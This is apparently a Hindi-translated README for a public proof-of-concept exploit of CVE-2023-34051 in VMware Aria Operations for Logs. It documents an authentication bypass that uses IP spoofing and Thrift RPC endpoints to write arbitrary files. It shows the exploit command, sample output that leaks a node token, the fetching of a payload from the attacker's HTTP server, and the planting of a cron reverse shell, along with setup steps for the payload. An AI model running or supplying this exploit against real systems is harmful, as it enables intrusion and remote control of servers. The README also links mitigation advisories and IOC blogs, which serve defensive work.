horizon3ai/cve-2023-34051
VMware Aria Operations for Logs CVE-2023-34051
CVE-2023-34051 एक प्रमाणीकरण बायपास है जो VMSA-2023-0001 के पैच को बायपास करता है। vRealize Log Insight के लिए VMSA-2023-0001 में निम्नलिखित CVE शामिल हैं:
इस भेद्यता का डिफ़ॉल्ट कॉन्फ़िगरेशन एक रिवर्स शेल बनाने के लिए क्रॉन जॉब लिखता है।
अपने वातावरण के अनुसार payload फ़ाइल को बदलना सुनिश्चित करें।
भेद्यता का तकनीकी मूल कारण विश्लेषण हमारे ब्लॉग पर पाया जा सकता है: https://www.horizon3.ai/vmware-aria-operations-for-logs-cve-2023-34051-technical-deep-dive
Log Insight इंस्टेंस के समझौता संकेतकों के विश्लेषण के लिए हमारा IOC ब्लॉग देखें: https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/
यह POC IP पता स्पूफिंग और विभिन्न Thrift RPC एंडपॉइंट का दुरुपयोग करके एक मनमाना फ़ाइल लेखन प्राप्त करता है।
$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit
[+] Using CVE-2022-31711 to leak node token
[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
[+] Using CVE-2022-31704 to trigger malicious file download
192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
[+] File successfully downloaded
[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
[+] Payload successfully delivered
इस हमले के काम करने के लिए, हमलावर का IP पता मास्टर/वर्कर नोड के समान होना चाहिए। अधिक जानकारी के लिए ऊपर ब्लॉग देखें।
यदि क्रॉन-आधारित पेलोड का उपयोग कर रहे हैं, तो सुनिश्चित करें कि पेलोड फ़ाइल में उपयुक्त अनुमतियाँ और स्वामी हों:
sudo chown root:root payload
sudo chmod 0644 payload
नवीनतम संस्करण में अपडेट करें या VMSA के निर्देशों का पालन करके शमन करें https://www.vmware.com/security/advisories/VMSA-2023-0021.html
यह सॉफ़्टवेयर पूरी तरह से अकादमिक अनुसंधान और प्रभावी रक्षात्मक तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और स्पष्ट रूप से अधिकृत सिस्टम को छोड़कर सिस्टम पर हमला करने के लिए इसका उपयोग करने का इरादा नहीं है। परियोजना अनुरक्षक सॉफ़्टवेयर के दुरुपयोग के लिए जिम्मेदार या उत्तरदायी नहीं हैं। जिम्मेदारी से उपयोग करें।